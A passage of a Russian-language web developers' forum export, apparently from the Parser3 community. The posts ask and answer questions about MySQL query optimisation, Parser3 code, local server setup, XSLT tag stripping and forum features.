select_type	SIMPLE\
table	sostav_zakaz\
type	ALL\
possible_keys	NULL\
key	NULL\
key_len	NULL\
ref	NULL\
rows	36083\
Extra	Using temporary; Using filesort\
\
а когда делеашь без суммирования:\
\
explain SELECT idtovar\
FROM sostav_zakaz\
GROUP by idtovar\
\
получаем:\
id	1\
select_type	SIMPLE\
table	sostav_zakaz\
type	index\
possible_keys	NULL\
key	PRIMARY\
key_len	8\
ref	NULL\
rows	36083\
Extra	Using index; Using temporary; Using filesort\
\
т.е. когда нет суммирования работает первичный ключ и индыксы\
А при суммирвоании получается type==ALL\
Жду коментариев по этому поводу. Время выполения обоих запросов без explain практически одинаковое (записей в таблице исходной как видно достаточно - 36083 шт.)"
"49712","Используются таблицы:\
tovar (хранится перечень товаров и их свойств - 467 записей)\
sostav_zakaz(хрянятся составы заказов поставки клиентам - 36083 записи)\
sklad_sostav_zakaz (хрянятся составы заказов поставки на склад 840 записей)\
sklad_zakazy (заказы поставки на склад sklad_zakazy.zakaz_status = 2 - означает, что товар поступил на склад - 466 записей)\
\
/admin/_test/1.html\
[code]\
@USE\
/classes/sklad_zakaz.p\
\
@main[]\
^connect[$connect_string]{\
^test1[]\
}\
^rusage[ex1]\
\
@test1[]\
#$tab_t[^table::sql{select id from tovar where id=83}]\
\
$tabX[^get_all[$tab_t]]\
записей: ^tabX.count[]\
<table border=1>\
<tr valign=top>\
<td>ID товара</td>\
<td>ЗАКУПЛЕНО ВСЕГО</td>\
<td>ПРОДАНО ВСЕГО</td>\
\
<td>В РЕЗЕРВЕ</td>\
<td>НА ВЫЕЗДЕ</td>\
<td>Свободный отстаток</td>\
\
<td>ЗАКАЗАНО ВСЕГО</td>\
<td>ТРЕБУЕТСЯ ЗАРЕЗЕРВИРОВАТЬ</td>\
\
</tr>	\
\
^tabX.menu{\
<tr^if($tabX.countS<0){ bgcolor=#00ffff}>\
<td>$tabX.id</td>\
<td>$tabX.countK</td>\
<td>$tabX.countF</td>\
\
<td>$tabX.countR</td>\
<td>$tabX.countV</td>\
<td>$tabX.countS</td>\
\
<td>$tabX.countZ</td>\
<td>$tabX.countT</td>\
\
</tr>\
}\
</table>\
[/code]\
\
/classes/sklad_zakaz.p\
[code]\
@rusage[comment][v;now;prefix;message;line;usec] \
$v[$status:rusage] \
$now[^date::now[]] \
$usec(^v.tv_usec.double[]) \
$prefix[[^now.sql-string[].^usec.format[%06.0f]] $env:REMOTE_ADDR: $comment] \
$message[$v.utime $v.stime $request:uri] \
$line[$prefix $message ^#0A] \
^line.save[append;/rusage.log] \
$result[] \
\
\
\
###############################\
@get_zakupleno[tab]\
	$result[^table::sql{\
	SELECT idtovar as id, sum(count_tovar) as countK\
	FROM sklad_sostav_zakaz\
	WHERE idzakaz in (select id from sklad_zakazy where zakaz_status = 2)\
	^if(def $tab){ and idtovar in (^tab.menu{$tab.id}[,])}\
	GROUP by idtovar\
	}]\
\
	\
###############################\
@get_all[tab][tab_zakupleno;tab_prodano]\
\
$tab_tovar[^table::sql{SELECT id FROM tovar\
WHERE type_tovar=0 ^if(def $tab){and id in (^tab.menu{$tab.id}[,])}\
}]\
\
$tab_zakupleno[^get_zakupleno[$tab]]\
\
\
$tab_zakazano[^table::sql{\
	SELECT idtovar as id,\
	sum(count_tovar) as countZ,\
	sum(count_tovar_plus) as countR,\
	sum(count_tovar_vyezd) as countV,\
	sum(count_tovar_finish) as countF,\
	sum(count_tovar)-(sum(count_tovar_plus)+ sum(count_tovar_vyezd) + sum(count_tovar_finish)) as countT\
	\
	FROM sostav_zakaz\
	WHERE count_tovar>0\
	^if(def $tab){ and idtovar in (^tab.menu{$tab.id}[,])}\
	GROUP by idtovar\
	}]\
\
$hash_zakupleno[^tab_zakupleno.hash[id]]\
$hash_zakazano[^tab_zakazano.hash[id]]\
\
$tab_res[^table::create{id	countK	countZ	countR	countV	countF	countT	countS}]\
\
^tab_tovar.menu{\
	$K[$hash_zakupleno.[$tab_tovar.id].countK]\
	$Z[$hash_zakazano.[$tab_tovar.id].countZ]\
\
	^if($Z){\
	$R[$hash_zakazano.[$tab_tovar.id].countR]\
	$V[$hash_zakazano.[$tab_tovar.id].countV]\
	$F[$hash_zakazano.[$tab_tovar.id].countF]\
	$T[$hash_zakazano.[$tab_tovar.id].countT]\
	$S(^K.int(0)-($F+$R+$V))\
	\
	^tab_res.append{$tab_tovar.id	^K.int(0)	$Z	$R	$V	$F	$T	$S} \
	}{\
	^tab_res.append{$tab_tovar.id	^K.int(0)	0	0	0	0	0	^K.int(0)} \
	}\
\
}\
	\
	$result[$tab_res]\
[/code]\
\
Если честно, то я пока не сообразил как можно сделать это же на SQL \"в две строчки\" :) и в десять :))"
"49715","Кто сабж делал?\
Какой умник придумал регистрацию без подтверждения email-адреса?"
"49716","CREATE TABLE `sostav_zakaz` (\
  `idzakaz` int(10) unsigned NOT NULL default '0',\
  `idtovar` int(10) unsigned NOT NULL default '0',\
  `count_tovar` int(10) default '0',\
  `count_tovar_plus` int(10) unsigned default '0',\
  `count_tovar_vyezd` int(10) unsigned default '0',\
  `count_tovar_finish` int(10) unsigned default '0',\
  `price` float(10,3) default '0.000',\
  `sn` varchar(255) default NULL,\
  PRIMARY KEY  (`idzakaz`,`idtovar`)\
) ENGINE=MyISAM DEFAULT CHARSET=cp1251;"
"49717","но только когда нету  \"sum(count_tovar) as countT\"\
как только начинаешь делать суммирвоание получаешь\
\"Using temporary; Using filesort\""
"49718","Например, оформить заказ просто невозможно"
"49720","Не нужно просто говорить «не работает», если он у вас не работает."
"49721","В эксплорере не работает, а в firefox'e - работает.\
\
--\
А на этом сообщении кнопка изменить есть. :)"
"49726","Карочи есть таблица с разделами сайта (sections) там есть поле uri_name , id ,parent_id\
Можноли как-нибудь одним запросом извлеч поле S_doc из другой таблицы где\
поле parent_id указывает на id документа из таблицы sections.\
но фишка в том что\
допустим\
www.host.ru/a/b/c/1.html\
чтобы скрипт выдрал из базы текст этого документа 1.html.\
пример таблицы sections\
id parent_id uri_name\
1 1 /\
2 1 a\
3 2 b\
4 3 c"
"49727","но get_zakupleno - это сильно :)"
"49728","Собственно сабж"
"49730","Так я, пардон, могу зарегистрироваться под чужим мылом и назаказать там кучу всего, после чего менеджерам придется объясняться с владельцем мыла."
"49732","ну есть для ламеров dreamwiewer\
вот мне нужно сто то типа етого"
"49734",")) это логично.\
Но менеджеры все равно же связываются с клиентом для того чтобы оговорить детали заказа. Ну и будет у них диалог вроде этого:\
- Здравствуйте, вы у нас заказали то-то, то-то и еще вон ту хрень за 1000$\
- ????@@@\
- ну как же, вы же сами у нас зарегистрировались!\
\
etc"
"49736","Вы представляете сколько человек просто попробовали форму оформления заказа в действии?! :)"
"49737","Недавно произошло онное после закачки на сервер в интернет. Дабы избежать в будущем, захотел настроить свой локальный сервер под ограничения интернет сервера.\
\
На хостинге я нашел вот такие ограничения:\
\
[quote]\
максимальное количество одновременно выполняемых задач - 32; \
максимальное допустимое время работы cgi-скрипта: не более 15 процессорных секунд и не более 5 минут реального времени; \
максимальное количество открытых файлов на один процесс - 32; \
максимальное использование оперативной памяти - 64Mb на процесс, при этом под данные отводится не более 32Mb \
максимальный размер файла 512Mb; [/quote]\
\
У меня стоит Denwer. Кто нибудь знает как настраивать?"
"49738","Вот значит столкнулся я с парсером.\
Скачал как положено Денвер, вот только с ним никогда не работал...\
Установил, тестовая страница показывает что парсер не установлен...\
Переписал права... все как описывалось...\
Тестовая страница отказывается находить парсер...\
Порылся в Денвере, нашел его собственные страницы, они отлично запускают и работают...\
\
Что делать???\
\
З.Ы. только не неда критики... я всего лишь учусь...\
ОС win pro sp1"
"49741","Как выбрать определенный кусок текста зная начало и его конец. Через match пробовал,могу только найти сами вхождения этих слов, а вот как выбрать между ними не знаю. Подскажите плиз."
"49742","Или я чего-то не понял?\
[code]\
$txt[Начало текст тра-та-та середина, середина, конец текста..,конец текста..]\
^txt.match[Начало текст(.+)текста..][g]{$match.1}\
[/code]\
выводит \"тра-та-та середина, середина, конец текста..,конец \""
"49743","Не в тему, не всё таки..\
Посоветуйте, чем пользоваться для редактирования сайтов прямо на фтп?\
Всю жизнб пользовался фаровским редактором, но у него есть противная особенность - частенько при проблемах со связью или просто глюках в результате сохранения получается девтсвенно чистый файл на сервере и несколько часов работы коту под хвост.. =(\
Кто чем пользуется для таких целей? Желательно консольное и с подсветкой.. Хотя не критично."
"49744","$telo_status_balansa[^file::load[text;$links]] \
$txt[$telo_status_balansa.text]\
$tt[^taint[as-is][^txt.match[Логин(.+)Комментарии][g]{$match.1}]]\
$tt\
сделал так, в итоге из всего куска текста вырезается начало и конец шаблона, все остальное остается.\
Мне надо оставить лишь кусок от и до шаблонов."
"49746","Есть хэш $h_graph, в одном из ключей которого лежит таблица со строками вида unix_timestamp. Значений - несколько тысяч. Хочу вывести значения таблицы на экран.\
Код элементарен:[code]\
1. ^h_graph.data.menu{'$h_graph.data.u_date'}[^#2C]<br>\
2. ^h_graph.data.menu{'$h_graph.data.u_date'}[^#2C]<br>\
[/code]\
\
или так[code]\
$arr[^h_graph.data.menu{'$h_graph.data.u_date'}[^#2C]]\
1. $arr<br>\
2. $arr<br>\
[/code]\
\
Результат - две строки, но вторая почему то обрезана:\
1. '1108361916','1108453966','1108544687','1108603518',...,'1134806329','1134890282','1134977611','1135081940'.. \
2. '1108361916','1108453966','1108544687','1108603518',...,'1134806329','11348902    [дальше ничего нет]\
\
Кто нибудь может обьяснить почему это происходит?"
"49747","а затем копирую на сервер, за редким исключением (но локальную копию всёравно имею :)"
"49748","сейчас:[code]\
$tt[^taint[as-is][^txt.match[Логин(.+)Комментарии][g]{$match.1}]]\
                                   ^^^\
                                  $match.1[/code]\
сделайте так:[code]\
$tt[^taint[as-is][^txt.match[(Логин)(.+)(Комментарии)][g]{суда то, что нужно}]]\
                                |     |       |\
                                |   $match.2  |\
                             $match.1       $match.3[/code]\
и возмите то, что нужно"
"49749","HomeSite (я пользуюсь на пару с фаром), плюс в [url=\"http://www.parser.ru/links/\"]полезных ссылках[/url] есть парочка фриварных редакторов, вроде бы тоже с фтп умеют работать."
"49750","[code]\
$file[^file::load[http://mydomain.com:2222/CMD_API_SHOW_USER_USAGE?user=username][\
	$.user[user]\
	$.password[password]\
]]\
[/code]\
\
[url=\"http://www.parser.ru/docs/lang/fileload.htm\"]load. Загрузка файла с диска или HTTP-сервера[/url]\
[url=\"http://www.parser.ru/docs/lang/app1.htm\"]Приложение 1. Пути к файлам и каталогам, работа с HTTP-серверами[/url]"
"49754","Перенес в общем то что нормально работало на винде\
Перестало работать. Положил бинарник Parser/3.2.1 в cgi-bin, не помогло.\
[code]\
index.html\
<FORM action=\"login.html\" method=post>\
<INPUT type=text name=login size=40>\
<INPUT type=password name=password size=40>\
<INPUT type=submit value=\"ВХОД\">\
<INPUT type=hidden name=cmd value=user_verify>\
</FORM>\
[/code]\
login.html\
[code]\
^if(def $form:login && def $form:password){\
$file_login[^file::load[text;http://test/cgi-bin/core;\
						$.method[POST]\
						$.timeout(10)\
						$.any-status(1)\
						$.form[^form:fields.foreach[field;value]{$.$field[$value]}]\
						]\
			]\
$response:body[^taint[as-is][$file_login.text]]\
[/code]\
перестало работать все, в том числе не передаются даже поля.\
Что может быть?"
"49756","что конкретно не работает, что хотели сделать, какую ошибку получили... всё это кто за вас напишет?"
"49757","http://test/cgi-bin/core\
\
Этот адрес есть у вас локально, и приведенный код тоже работает с локального сервера. Все работает, а при переносе на сервер перестал работать http://test/, да?.. Если так, то все просто — удаленный сервер [b]никак[/b] не может получить доступ к вашему локальному хосту."
"49758","Нет, адрес я изменил на нужный.\
После обеда оно заработало :)\
теперь имеем такое $file_login.status  - 302 и дальше не идет, выдает кривую ссылку только.\
на винде же нормально загружалась сама страница после редиректа."
"49759","Прошу поделиться соображениями, идеями как можно решать такую задачку.\
Вводная: есть форум. На разные разделы и разные треды могут быть зназначены самые разные права чтения, редактирования и т.д. Результирующие права пользователя прекрасно вычисляются с помощью мишиного класса, права раздаются со всеми вытекающими. \
Но есть одно \"но\". Права вычисляются уже после того как треды были выбраны из базы с лимитами и офсетами. В результате пользователю может быть на очередной странице быть показано меньше тредов, чем в настройках форума или даже не одного. Ведь было выбрано скажем 20 тредов из базы, а после вычисления прав на отдельные треды, может быть показано гораздо меньше. \
Можно было бы извратиться и доставать чуть больше тредов, а лишние обрезать.. но система прав довольно развита, и может оказаться вообще ни одного терда доступного пользователю даже с запасом. \
Есть идеи как в такой ситуации жить?"
"49760","Хочу сделать авторизацию и прокси к форме авторизации, затем уже парсить вывод. В логах чисто, ошибок нет, только 302 и все."
"49765","При попытке тестирования драйвера mysql получены следующие ошибки:\
\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера.\
Сообщение об ошибке:\
\
    ./lib/libparser3mysql.so: undefined symbol: __cxa_pure_virtual\
    ./lib/libparser3mysql.so \
\
Подскажите, в чем может быть дело."
"49767","Ругается на 2 строку - 'regex' invalid taint language [<no type>]\
[code]\
@left_string[str;substr]\
$substr[^taint[regex][$substr]]\
^if(def $str && def $substr && ^str.match[$substr]){\
$result[^str.match[^^(.*?)${substr}.*?^$][]{$match.1}]\
}{\
$result[$str]\
}\
[/code]"
"49768","А реально добавить в запрос такую же логику как у миши в @getFullACL и @getRightsToObject?"
"49771","Система Linux Mandrakr\
Linux somehost.com 2.6.8.1-12mdksmp #1 SMP Fri Oct 1 11:24:45 CEST 2004 i686 Intel(R) Pentium(R) 4 CPU 2.80GHz unknown GNU/Linux\
\
Куда кинуть саму кору (421,617 bytes)?\
\
ЗЫ, в конфе апача есть такая секция:\
\
<Directory /data/www/html/user/settings>\
    <Files ~ \"(arch)|(del)_user\\.html$\">\
       AddHandler parsed-html html\
       Action parsed-html /cgi-bin/parser3_xml.cgi\
    </Files>\
</Directory>\
\
Это я пытаюсь память экономить, загружая парсер с XML только там где это нужно. Не знаю, может ли косяк с корой быть из-за этого.\
\
Раньше все нормально работало на 3.1.4, но без вышеописанной секции"
"49772","Появилась потребность рисовать на сайте несложные двухмерные графики.\
Поделитесь опытом пожалуйста, как лучше это реализовать?\
Нагрузки не планируется - строить надо раз в сутки.\
Пока что делаю средствами парсера.. =)"
"49773","Ну да... \
Скачивал отсюдова же...\
Да и в Денвере гле-то находил папку Parser3..."
"49774","Именно поэтому и предлагал удостоверится.\
\
Есть ли каталог: webservers\\usr\\local\\parser3?\
Есть ли файл: webservers\\home\\cgi-glob\\parser3\\parser3_wrapper.exe?"
"49775","Сделал некрасиво, но работает.\
Как сделать красиво - не выяснилось.\
[code]<xsl:template name=\"trimTags\">\
	<xsl:param name=\"string\"/>\
\
	<xsl:choose>\
		<xsl:when test=\"contains($string, '&lt;') and contains($string, '&gt;')\">\
			<xsl:variable name=\"tag_before\" select=\"substring-before($string, '&lt;')\"/>\
			<xsl:variable name=\"tag_after\" select=\"substring-after($string, '&gt;')\"/>\
			<xsl:variable name=\"result\">\
				<xsl:value-of select=\"$tag_before\"/>\
				<xsl:value-of select=\"$tag_after\"/>\
			</xsl:variable>\
			<xsl:choose>\
				<xsl:when test=\"contains($result, '&lt;') and contains($result, '&gt;')\">\
					<xsl:call-template name=\"trimTags\">\
						<xsl:with-param name=\"string\" select=\"$result\"/>\
					</xsl:call-template>\
				</xsl:when>\
				<xsl:otherwise>\
					<xsl:value-of select=\"$result\" disable-output-escaping=\"yes\"/>\
				</xsl:otherwise>\
			</xsl:choose>\
		</xsl:when>\
		<xsl:otherwise>\
			<xsl:value-of select=\"$string\" disable-output-escaping=\"yes\"/>\
		</xsl:otherwise>\
	</xsl:choose>\
</xsl:template>[/code]"
"49777","Сейчас просчитываю данные для линейной диаграммы, разные гистограммы и прочие графики оставил на потом.\
\
Что есть:\
1. Строится 1 линейная диаграмма по таблице с числовыми данными или данными в виде даты.\
2. Все параметры для построения задаются в виде хеша (ширина, высота, отступы до осей, цвет разных линий, толщина линий, цвета фона).\
3. Автоматический расчёт максимумов и мининумов значений на одной из осей.\
\
Что будет:\
1. Неограниченное число диаграмм на одних осях.\
2. Подписи к осям (с настройкой у вершины или по центру).\
3. Подпись к диаграмме.\
4. Динамический расчёт промежуточных осей, для случаев с большими интервалами.\
\
\
Как только появится что-то более менее удобоваримое в коде (сейчас бардак), выложу на форум.\
\
P.S. Результаты разработки смотреть [url=\"http://www.spearance.ru/parser3/chart/\"]здесь[/url]."
"49778","Добрый день!\
\
\
Собрал mod_parser для apache 1.3.34 под freebsd 6.0, возникла проблема: не передаются переменные ENV: к примеру ${env:PATH_INFO}. Когда parser выполнять как Action, все работает. Подскажите пожалуйста, в чем может быть проблема.\
\
\
Заранее спасибо\
--\
С уважением,\
Андрей"
"49779","Есть таблица в БД, id - auto_increment\
\
Как бы проще вставить запись между любых строк?"
"49781","Да, это все есть... именно там и смотрел... все есть...\
\
Проблемма в том что я не знаю где сохранять этот файл, т.е. поидее надо бы на виртуальный хост (в моем случае Z:\\home\\...)\
Но куда я только не закачивал эту тестовую страницу она показывает что парсера нет ((("
"49782","[code]\
<xsl:template name=\"trimTags\">\
	<xsl:param name=\"string\"/>\
\
	<xsl:choose>\
		<xsl:when test=\"contains($string, '&lt;') and contains($string, '&gt;')\">\
			<xsl:call-template name=\"trimTags\">\
				<xsl:with-param name=\"string\" select=\"concat(substring-before($string, '&lt;'),' ',substring-after($string, '&gt;'))\"/>\
			</xsl:call-template>\
		</xsl:when>\
		<xsl:otherwise>\
			<xsl:value-of select=\"normalize-space($string)\" />\
		</xsl:otherwise>\
	</xsl:choose>\
</xsl:template>\
[/code]"
"49783","http://localhost/Test/parser3/index.html"
"49784","Z:\\home\\localhost\\www\\Test\\parser3\\index.html может это??\
Если да, то она запускается... но парсер не работает...\
Это видно по : \
2 * 2 = ^eval(2*2) (а по идее должно-то ведь быть 4 ),\
Дальше две ссылки тоже говорят о не работе парсера....\
\
Проверить работу встроенного модуля XML/XSL\
Проверить интерфейс с MySQL"
"49785","Здравствуйте. подскажите где копать.\
\
суть проблемы:\
имеем в базе записи вида\
[code]\
%E0%F0%E5%ED%E4%E0+%E2%FB%F1%F2%E0%E2%EE%F7%ED%FB%F5+%F1%F2%E5%ED%E4%EE%E2\
[/code]\
много, это уже отматченная информация о запросах в поисковых системах.\
\
как их вытащить из базы в читаемом виде? \
А может их возможно отлавливать на стадии добавления?\
Может есть у кого какие мысли? а то свои как-то не появляются :-("
"49786","Прямо сейчас запустите Денвер (ярлык на рабочем столе: Start servers)\
\
и кликните по этим ссылкам:\
\
http://localhost/Test/parser3/index.html\
http://localhost/Test/parser3/article.html\
http://localhost/Test/parser3/dbtest.html"
"49788","То что вы заменили две переменных на длиннющую строку - не нравится, лучше читатся с переменными.\
Экономить там особо не на чем...\
\
А normalize-space вообще делать не нужно, нам надо сохранить строку без изменений, только выкусив \"тэги\", больше ничего."
"49789","1. Создаёте хост: \\webservers\\home\\имя\
2. В каталоге хоста создаёте каталог www. -> \\webservers\\home\\имя\\www\
3. В www кладёте .htaccess с содержанием:\
[code]\
# Подключение Parser-а для всех .html-страниц\
AddHandler parsed-html html\
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам.\
<Files ~ \"\\.p$\">\
	Order allow,deny\
	Deny from all\
</Files>\
[/code]\
4. Кладёте в любой каталог или в корень каталога www html файл с парсерным кодом и вызываете в браузере:\
http://имя/подкаталог,_если_есть/файл.html\
5. Смотрите, говорите, что видите нам."
"49790","По поводу удобочитаемости этой конструкции -- вопрос спорный, но решать (и читать) вам. А вот экономия будит существенной при длинной исходной строке и росте глубины рекурсии, т.к. вы используете локальные переменные (а я от них избавился).\
\
Кроме того что я заменил две переменные на длиннющую строку, я (если вы заметили) также сделал метод компактнее за щет замены двух одинаковых элементов <xsl:choose > на один.\
\
normalize-space я делал потому что в результате конкатенации в строке мог появиться двойной пробел."
"49791","и от конкатенции избавится нужно.\
Ибо она не нужна совершенно, как и оптимизация по пробельным символам.\
Итого:\
[code]\
<xsl:template name=\"trimTags\">\
	<xsl:param name=\"string\"/>\
\
	<xsl:choose>\
		<xsl:when test=\"contains($string, '&lt;') and contains($string, '&gt;')\">\
			<xsl:call-template name=\"trimTags\">\
				<xsl:with-param name=\"string\">\
					<xsl:value-of select=\"substring-before($string, '&lt;')\"/>\
					<xsl:value-of select=\"substring-after($string, '&gt;')\"/>\
				</xsl:with-param>\
			</xsl:call-template>\
		</xsl:when>\
		<xsl:otherwise>\
			<xsl:value-of select=\"$string\"/>\
		</xsl:otherwise>\
	</xsl:choose>\
</xsl:template>\
[/code]\
\
Ну, а два свитча - это я зевнул и недоудалял при подходе к конечному виду, да."
"49793","На основании данного класса я сделал авторизацию в форуме и успешно ее использую в течении года.\
Но использую я его исключительно для авторизации. Теперь встала задача ограничения прав пользователей на определенные разделы форума. Перечитал многое про него и что то никак понять не могу как он работает.\
Кто нибудь объясните на \"пальцах\" как это сделать."
"49794","немного дискуссии по поводу обсчёта прав.\
Миша всё обещает сделать пример, но, видимо, пока времени у него нема.\
Поэтому если хотется из первых рук - ждём-с.\
Не хочется - читаем архивы по правам:\
http://www.parser.ru/forum/?id=38861\
http://www.parser.ru/forum/?id=45620\
http://www.parser.ru/forum/?id=48254\
иже с ними."
"49795","[quote]The following queries cannot be executed with this quick select method, for the reasons given: \
\
There are other aggregate functions than MIN() or MAX(), for example: \
\
SELECT c1, SUM(c2) FROM t1 GROUP BY c1;\
\
The fields in the GROUP BY clause do not refer to the beginning of the index, as shown here: \
\
SELECT c1,c2 FROM t1 GROUP BY c2, c3;\
\
The query refers to a part of a key that comes after the GROUP BY part, and for which there is no equality with a constant, an example being: \
\
SELECT c1,c3 FROM t1 GROUP BY c1, c2;\
\
[/quote]"
"49796","a) ошибка синтаксиса\
б) [quote]MySQL 5.0 supports all subquery forms and operations that the SQL standard requires, as well as a few features that are MySQL-specific.[/quote]"
"49797","http://swiss-knife.sourceforge.net/?comefrom=parser.ru\
вместо Денвера, там проще имхо..."
"49798","Хмм... не поверите но причина действительно тривиальна была... (все гениальное просто)\
\
Большое спасиба [b]Larrikin[/b]\
\
Я действительно забывал запускать сервер))))...\
\
Простите меня за невнимательность... просто первый раз с денвером)))\
\
Спасиба всем))))))"
"49799","предлагаю заменить «дальше >» на «дальше &#8594;»\
и соответственное «Все пользователи >>» тоже на стрелку вправо."
"49800","…возле ссылки [url=\"http://www.parser.ru/forum/\"]Дальше &#8594;[/url] -- еще можно согласиться, \
но после ссылки [url=\"http://www.parser.ru/forum/users/\"]Все пользователи[/url] -- я бы не ставил стрелочек [b]вовсе[/b].\
Чем эта ссылка отличается от других, что после нее надо ставить стрелочки? (Да еще и две)\
\
Тогда давайте сделаем так:\
[url=\"http://www.parser.ru/forum/info.html\"]команды форматирования >>[/url]\
[url=\"http://www.parser.ru/forum/\"]форум >>[/url]\
[url=\"http://www.parser.ru/forum/users/\"]Все пользователи >>[/url]\
[url=\"http://www.parser.ru/forum/?type=last\"]треды >>[/url]\
…\
\
\
UPDATE:\
Хотя, это дело вкуса:\
&#8594; [url=\"http://www.parser.ru/forum/info.html\"]команды форматирования[/url]\
&#8594; [url=\"http://www.parser.ru/forum/\"]форум[/url]\
&#8594; [url=\"http://www.parser.ru/forum/users/\"]Все пользователи[/url]\
&#8594; [url=\"http://www.parser.ru/forum/?type=last\"]треды[/url]"
"49802","Сейчас там сортировка идет по логину. А было бы удобно иметь возможность сортировать по кол-ву сообщений или по онлайности.\
"
"49806","В общем перешел я на UE, только одна проблема есть..\
Периодически при сохранении файла ctrl-s (на ftp), редактор тихо и спокойно закрывается.\
Файл при этом сохраняет.\
Может я что не так делаю, не замечали такое? Как бороться?"
"49812","В пределах доступности левой руки тоже все клавиши перещелкал ради интересу, вроде ничего к такому не приводит.\
\
ps: В общем, у кого есть нормальная безглючная версия? =)"
"49813","…вижу разные значения.\
\
Например:\
\
(сверху, над таблицей)\
участники форума (всего: 1087, online: [color=\"FF0000\"]3[/color])\
\
(сбоку)\
Сейчас онлайн ([color=\"FF0000\"]4[/color]): samuraj, Shipko M., Sumo, Guest\
\
Причина различия значений понятна, но логики в этом не видно.\
\
PS\
Это удобно, видеть с боку имена пользователей которые сейчас в онлайн. Но еще удобнее видеть их имена в верху таблицы с какой нибудь там пометкой (например, как у модераторов).\
Для этого достаточно отсортировать таблицу не по логину, а по дате последнего посещения. И Если при этом отображать колонку с датой последнего посещения, то по таблице можно будет сказать не только кото сейчас онлайн, а и вобщем кто был \"сегодня\" на форуме."
"49814","сверху была информация только про зарегистрированных, слева - с учетом гостей.\
\
я вообще не знаю на фига нужна эта таблица, ни разу в ней ничего не смотрел. :)\
\
показывать статус пользователя при просмотре его сообщения по моему полезнее. \
\
по дате последнего посещения сортировать не буду, т.к. это рессурсоемко при сонтительной полезности: какая разница был сегодня онлайн XYZ или нет?"
"49815","Если я правельно понимаю, один Guest -- это все не авторизированные посетители (даже если их 350 чел) и в то же время это +1, к общему числу зарегистрированных онлайн-пользователей. (могу ошибаться, вам виднее)"
"49819","этот код возвращает ошибку с незакрытой скобкой\
[code]$companies[^table::load[companies.txt; \
   $.encloser[\"] \
]][/code]\
так работает\
[code]$companies[^table::load[companies.txt; \
	$.separator[	]	\
	$.encloser[\"] \
]][/code]"
"49821","Наверняка на форуме проходил ликбез по использованию оператора ^connect в ^cache, только я никак не могу найти подробную информацию.\
Пожалуйста, напишите где можно изучить этот вопрос, хочется разбираться, как оптимизировать работу с ^connect."
"49823","Брать тут: http://developer.yahoo.net/yui/"
"49824","Если вы имеете в виду http://www.parser.ru/examples/cache/, как я понимаю там идет речь о использовании ^cache не для оператора ^connect.\
Я не там спотрю или чего-то не понимаю?"
"49827","Помнится, как-то на форуме Sanja v.2 говорил о том, что он вроде бы делает простой, но очень хорошо прокомментированный код на Parser`е, который представляет собой CMS`ник, так сказать для чайников. Хотелось бы узнать, насколько продвинулось дело и продвинулось ли оно вообще. Мне как чайнику такая вещб была бы очень полезна, в плане изучения Parse`а."
"49828","Не оптимально, потому что при каждом вызове методов @get_uri[] или @get_id[] запускается рекурсивный метод @get[]. Нужно что бы он вызывался один раз при инициализации или, что лучше всего, в админке при редактировании дерева объектов.\
\
По поводу функциональности.\
Я пользуюсь структурой базы engine v.4, описанной Мишей.\
Рассматриваемый в этом треде класс uri у меня переродился в класс object, который работает с объектами сайта.\
\
В конструкторе класса я просто беру (из базы или кеша) готовую таблицу с объектами сайта, будучи абсолютно увуренным, что в ней есть посчитанные поля full_path, thread_id и nesting. После этого мне остается сделать только два хеша с ключами по id и по parent_id. Причем, в памяти реально будит храниться только таблица, а хеши будут ссылаться на ее данные.\
\
С таким подходом отпадает необходимость в методе получения полного пути объекта (@get_uri[]), т.к. можно легко получить ту же строку (или др инф) из хеша\
[code]\
$ALL.[25].full_path\
[/code]\
\
Задача определения идентификатора объекта сводится к простому поиску в таблице\
[code]\
^if(^ALL_table.locate[full_path;$full_path]){\
	$result($ALL_table.id)\
}{\
	^throw[object;Not found]\
}\
[/code]\
\
\
PS\
Имеются и др полезные методы в классе object :)\
Если интересно -- могу выслать."
"49829","Здравствуйте!\
У меня такая проблема:\
\
Поставил я parser (http://parser.ru/) на свой сервер.\
\
Для того чтобы он заработал с mysql ему требуется библиотека libmysqlclient.so\
которая обычно лежит в /usr/local/lib/mysql/libmysqlclient.so\
\
Его там не было. Англоязычная поддержка сервера прислала какую-то библиотеку libmysqlclient.so, но с ней проблемы:\
\
Парсер (parser.cgi) при обращении к базе данных через библиотеку libmysqlclient.so выдает ошибку:\
Client does not support authentication protocol requested by server;\
consider upgrading MySQL client [sql.connect]\
\
Как решить эту проблему? \
\
Все (на форуме) говорят что якобы проблемы с MySQL, но ведь тех. поддержка сервера все настроила и все работает, там для PHP или Перла. Почему не работает для Парсера?\
\
На форуме я уже искал, но четкого решения проблемы нету."
"49830","Это миша обещал пример сайта с использованием авторизации, engine и т.п."
"49831","Поиском чего-то не могу сходу найти, но помню совершенно точно что такое было. Давай делай, не тяни с этим. Народ требует :)"
"49832","\"...Для того чтобы он заработал с mysql ему требуется библиотека libmysqlclient.so\
которая обычно лежит в /usr/local/lib/mysql/libmysqlclient.so\
Его там не было...\"\
\
Найди где на самом деле лежит родной libmysqlclient.so, для начала, и попробуй его в /usr/local/lib/mysql/libmysqlclient.so\
 скопировать. Или ссылку там поставь на \"родной\"."
"49833","[code]\
^if(^string.match[expression]){\
[/code]\
вот так хочется.\
\
вариант: можно сделать ^string.contains[substring]\
но оно вам надо?\
\
если неспешное место, и подстрока проста, просто пользуйте match."
"49834","в parser все числовые вычисления происходят в double.\
я не посчитал, что необходимо пытаться удерживать вычисления в int, если это возможно. \
это загромождает код, давая копеечный прирост производительности в среднем = не стоит возни.\
\
пока не посмотрел, суть возражения в том, что числовой литерал вида 0x80000000 (с горящим старшим битом) плохо преобразуется к double?\
\
если так, это просто bug. посмотрю/поправлю, чтобы было так:\
(double)(unsigned int)int_literal"
"49835","творческий эксперимент:\
Арсений, вы умеете дискутировать?\
покажите, каким образом блокировки [i]внутри mysql[/i] возникли по вине разработчиков Parser?\
\
заранее прошу не отвлекаться на лирику, как вы это любите делать, а строго придерживаться фактов."
"49836","Но Парсер (parser.cgi) при обращении к базе данных через библиотеку libmysqlclient.so выдает ошибку:\
Client does not support authentication protocol requested by server; consider upgrading MySQL client [sql.connect]\
\
И никто толком не знает где собака зарыта."
"49839","Ну не подходит, что делать-то? Тут один товарищь с форума сказал, что, мол, парсер сделан так, что только у меня могут быть проблемы.\
\
Вот не подходит libparser3mysql.so Что делать с ним тогда? У разработчиков других ведь нету."
